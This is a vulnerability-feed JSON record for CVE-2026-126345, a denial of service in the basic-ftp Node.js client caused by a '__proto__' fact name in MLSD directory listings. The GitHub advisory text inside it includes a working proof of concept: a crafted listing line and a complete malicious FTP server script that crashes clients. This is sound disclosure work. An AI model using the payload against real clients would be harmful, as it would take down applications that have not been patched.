{"id":"EUVD-2026-124723","revision":null,"records":[{"revision":"7e2e8d4060f74ceb9ea8a12f50d88ab6","observedAt":"2026-11-12T23:16:18.646+00:00","statement":{"source":"cve-program","id":"CVE-2026-126345","aliases":[],"title":"basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that the resolved property is an own handler. A fact named __proto__ therefore resolves to Object.prototype, bypasses the missing-handler guard, and is called as though it were a function, producing a TypeError. The error propagates through Client.list() and APIs that depend on it because it is not an FTPError. A malicious or compromised FTP server, or an on-path attacker on a plaintext FTP session, can make the affected operation reject, and the Node.js process terminates under the default behavior in Node.js 15 and later only if the application leaves that rejection unhandled. This issue is fixed in version 6.2.4.","state":0,"publishedAt":"2026-11-12T21:29:44.321+00:00","modifiedAt":"2026-11-12T21:29:44.321+00:00","affected":[{"ecosystem":"Vendor product","name":"basic-ftp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patrickjuchli\",\n                    \"product\": \"basic-ftp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 6.2.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r","https://github.com/patrickjuchli/basic-ftp/commit/a22664a45d889f7d281e5bdd212c68c0a58d0ae6","https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-126345","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-126345","identifiers":["CVE-2026-126345"]},"retained":false,"historicalAffected":[]},{"revision":"82e29ab1c7b040a3a87d02082d43f403","observedAt":"2026-11-12T22:18:59.945+00:00","statement":{"source":"euvd","id":"EUVD-2026-124723","aliases":["CVE-2026-126345"],"title":"basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that …","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.4, the MLSD directory-listing parser in src/parseListMLSD.ts uses untrusted fact names from the FTP server as keys in the plain-object factHandlersByName dictionary without checking that the resolved property is an own handler. A fact named __proto__ therefore resolves to Object.prototype, bypasses the missing-handler guard, and is called as though it were a function, producing a TypeError. The error propagates through Client.list() and APIs that depend on it because it is not an FTPError. A malicious or compromised FTP server, or an on-path attacker on a plaintext FTP session, can make the affected operation reject, and the Node.js process terminates under the default behavior in Node.js 15 and later only if the application leaves that rejection unhandled. This issue is fixed in version 6.2.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"severity":null}],"references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r","https://github.com/patrickjuchli/basic-ftp/commit/a22664a45d889f7d281e5bdd212c68c0a58d0ae6","https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-124723","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 12, 2026, 9:29:44 PM","dateUpdated":"Nov 12, 2026, 9:29:44 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-124723","identifiers":["EUVD-2026-124723","CVE-2026-126345"]},"retained":false,"historicalAffected":[]},{"revision":"67bea914d39b4565b828413601ad245e","observedAt":"2026-11-12T22:16:33.241+00:00","statement":{"source":"osv","id":"GHSA-5pm8-86m8-9m6r","aliases":["CVE-2026-126345"],"title":"basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()","description":"### Summary\n\nbasic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's response, with no validation. A directory-listing line containing the fact name \"__proto__\" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the \"not a function\" guard is bypassed and the code throws `TypeError: factHandler is not a function`.\n\nThis TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to — or any on-path attacker on a plaintext (non-TLS) FTP session — can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15).\n\n### Details\n\nFile: src/parseListMLSD.ts\n```\nconst factHandlersByName: {[key: string]: FactHandler} = {\n    \"size\": parseSize,\n    \"sizd\": parseSize,\n    \"unique\": (value, info) => { info.uniqueID = value },\n    \"modify\": (value, info) => { ... },\n    \"type\": (value, info) => { ... },\n    \"unix.mode\": (value, info) => { ... },\n    ...\n}\n\nexport function parseLine(line: string): FileInfo | undefined {\n    const [ packedFacts, name ] = splitStringOnce(line, \" \")\n    ...\n    const facts = packedFacts.split(\";\")\n    for (const fact of facts) {\n        const [ factName, factValue ] = splitStringOnce(fact, \"=\")\n        if (!factValue) { continue }\n        const factHandler = factHandlersByName[factName.toLowerCase()]   // <-- unsafe lookup\n        if (!factHandler) { continue }\n        const result = factHandler(factValue, info)                     // <-- throws here\n        ...\n    }\n    return info\n}\n```\nfactHandlersByName is a plain `{}` object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === \"__proto__\", the bracket lookup factHandlersByName[\"__proto__\"] returns Object.prototype itself — a truthy, non-undefined value — so the `if (!factHandler) continue` guard does not fire. The code then tries to call Object.prototype as a function: `factHandler(factValue, info)`, which throws `TypeError: factHandler is not a function`.\n\nThis line runs inside parseList() (src/parseList.ts), called synchronously from a `.map()` over every line of the listing, which in turn is called from Client._requestListWithCommand() -> Client.list() (src/Client.ts). list()'s only error handling is:\n```\n    catch (err) {\n        const shouldTryNext = err instanceof FTPError\n        if (!shouldTryNext) { throw err }\n        lastError = err\n    }\n```\nA plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it.\n\nAffected call paths (all eventually call Client.list()):\n- Client.list()\n- Client.downloadToDir() / _downloadFromWorkingDir()\n- Client.clearWorkingDir()\n- Client.removeDir()\n\nOnly \"__proto__\" triggers the crash this way; other reserved Object.prototype property names tested (\"constructor\", \"toString\", \"hasOwnProperty\", \"valueOf\", \"__defineGetter__\") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property.\n\n### Proof of concept\n\nPrerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/.\n\nStep 1 — Minimal reproduction of the parser bug alone:\n\n    node -e '\n    const { parseList } = require(\"./dist/parseList\");\n    parseList(\"__proto__=x;type=file;size=10; evil.txt\");\n    '\n\nExpected result:\n    Uncaught TypeError: factHandler is not a function\n        at parseLine (.../dist/parseListMLSD.js:...)\n\nStep 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:\n\n    Save as poc.js in the repo root and run `node poc.js`:\n\n    const net = require(\"net\")\n    const { Client } = require(\"./dist/index\")\n\n    const server = net.createServer(socket => {\n        socket.write(\"220 fake ftp ready\\r\\n\")\n        socket.on(\"data\", data => {\n            const cmd = data.toString().trim()\n            if (cmd.startsWith(\"USER\")) socket.write(\"230 ok\\r\\n\")\n            else if (cmd.startsWith(\"OPTS\") || cmd.startsWith(\"TYPE\") ||\n                     cmd.startsWith(\"STRU\") || cmd.startsWith(\"PBSZ\") ||\n                     cmd.startsWith(\"PROT\")) socket.write(\"200 ok\\r\\n\")\n            else if (cmd.startsWith(\"FEAT\")) socket.write(\"211-Features\\r\\n MLST type;size;\\r\\n211 End\\r\\n\")\n            else if (cmd.startsWith(\"EPSV\")) {\n                const dataServer = net.createServer(dsock => {\n                    // The malicious line: fact name \"__proto__\"\n                    dsock.end(\"__proto__=pwn;type=file;size=4; evil.txt\\r\\n\")\n                })\n                dataServer.listen(0, \"127.0.0.1\", () => {\n                    const p = dataServer.address().port\n                    socket.write(`229 Entering Extended Passive Mode (|||${p}|)\\r\\n`)\n                })\n            }\n            else if (cmd.startsWith(\"MLSD\") || cmd.startsWith(\"LIST\")) {\n                socket.write(\"150 Here comes the listing\\r\\n\")\n                setTimeout(() => socket.write(\"226 Listing complete\\r\\n\"), 50)\n            }\n            else socket.write(\"200 ok\\r\\n\")\n        })\n    })\n\n    server.listen(2121, \"127.0.0.1\", async () => {\n        const client = new Client()\n        try {\n            await client.access({ host: \"127.0.0.1\", port: 2121, user: \"a\", password: \"b\" })\n            const files = await client.list()\n            console.log(\"list() returned normally (unexpected):\", files)\n        } catch (err) {\n            console.log(\"client.list() threw:\", err.constructor.name, \"-\", err.message)\n        } finally {\n            client.close()\n            server.close()\n            process.exit(0)\n        }\n    })\n\nExpected output:\n\n    client.list() threw: TypeError - factHandler is not a function\n\nConfiguration notes:\n- No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV\n  text) session using the server's FEAT response to turn on MLSD, which is the common\n  path for any modern FTP server.\n- The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since\n  parseList() auto-detects the format from the last listing line.\n- In a real application without a try/catch around list()/downloadToDir()/\n  clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the\n  Node.js process by default (Node >=15 unhandledRejection behavior is \"throw\").\n\n### Impact\n\nType: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal).\n\nWho is impacted: Any application using basic-ftp's Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required — a single crafted directory-listing line is sufficient.\n\nConfidentiality: None. Integrity: None. Availability: High — unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.","state":0,"publishedAt":"2026-11-12T21:42:12+00:00","modifiedAt":"2026-11-12T21:45:03.4306293+00:00","affected":[{"ecosystem":"npm","name":"basic-ftp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.2.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r","https://github.com/patrickjuchli/basic-ftp/commit/a22664a45d889f7d281e5bdd212c68c0a58d0ae6","https://github.com/patrickjuchli/basic-ftp","https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4"],"sourceUrl":"https://github.com/advisories/GHSA-5pm8-86m8-9m6r","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5pm8-86m8-9m6r","identifiers":["GHSA-5pm8-86m8-9m6r","CVE-2026-126345"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-14T12:56:59.8826551+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-14T12:56:59.8826551+00:00","lastSuccessAt":"2026-11-14T12:57:00.0560624+00:00","error":null,"lastVerifiedAt":"2026-11-14T12:57:00.0560629+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f4305fb3b9417bd97547e9305731a80b9463cd5f49ef853b3cd62960cad53a57-bc10a834f15939fd2c77bff2235d5b6902a5a642ceb4b84ed4e7d84d14dfdd7e","complete":true,"records":425727,"lastAttemptAt":"2026-11-14T12:56:59.202866+00:00","lastSuccessAt":"2026-11-14T12:56:59.1715933+00:00","error":null,"lastVerifiedAt":"2026-11-14T12:56:59.202866+00:00","snapshotPublishedAt":"2026-11-14T12:25:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c418229d45f5484289a4f7677e5441ad","complete":true,"records":13821,"lastAttemptAt":"2026-11-14T12:57:58.8613298+00:00","lastSuccessAt":"2026-11-14T11:58:50.686+00:00","error":null,"lastVerifiedAt":"2026-11-14T11:58:50.686+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-14T12:56:59.8826551+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-14T12:56:59.8826551+00:00","lastSuccessAt":"2026-11-14T12:57:00.0568775+00:00","error":null,"lastVerifiedAt":"2026-11-14T12:57:00.0568776+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0164ed635ea64cb78b11b07b68827344","complete":false,"records":13821,"lastAttemptAt":"2026-11-14T12:57:58.0735114+00:00","lastSuccessAt":"2026-11-14T12:57:58.069+00:00","error":"170 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-14T12:57:58.069+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13304,"expectedIdentifiers":13874,"failedIdentifiers":170},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0b57fec07d57d893c006f1cfeb0af7ae73375ea99dba0cb68b1da97c5ec74185","complete":true,"records":9955,"lastAttemptAt":"2026-11-14T12:56:59.6142897+00:00","lastSuccessAt":"2026-11-13T23:59:01.475919+00:00","error":null,"lastVerifiedAt":"2026-11-14T12:56:59.6142897+00:00","snapshotPublishedAt":"2026-11-13T23:17:54+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-14T12:56:59.3647951+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-14T12:56:59.3647951+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-14T12:56:59.8294229+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-14T12:56:59.8294229+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-fdee02376e78ad97a6afd9c64b7a511338faf1c7adbbe54e4431f98a9f790e0d","complete":true,"records":232471,"lastAttemptAt":"2026-11-14T12:56:59.4627335+00:00","lastSuccessAt":"2026-11-14T08:58:41.6192286+00:00","error":null,"lastVerifiedAt":"2026-11-14T12:56:59.4627335+00:00","snapshotPublishedAt":"2026-11-14T08:33:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}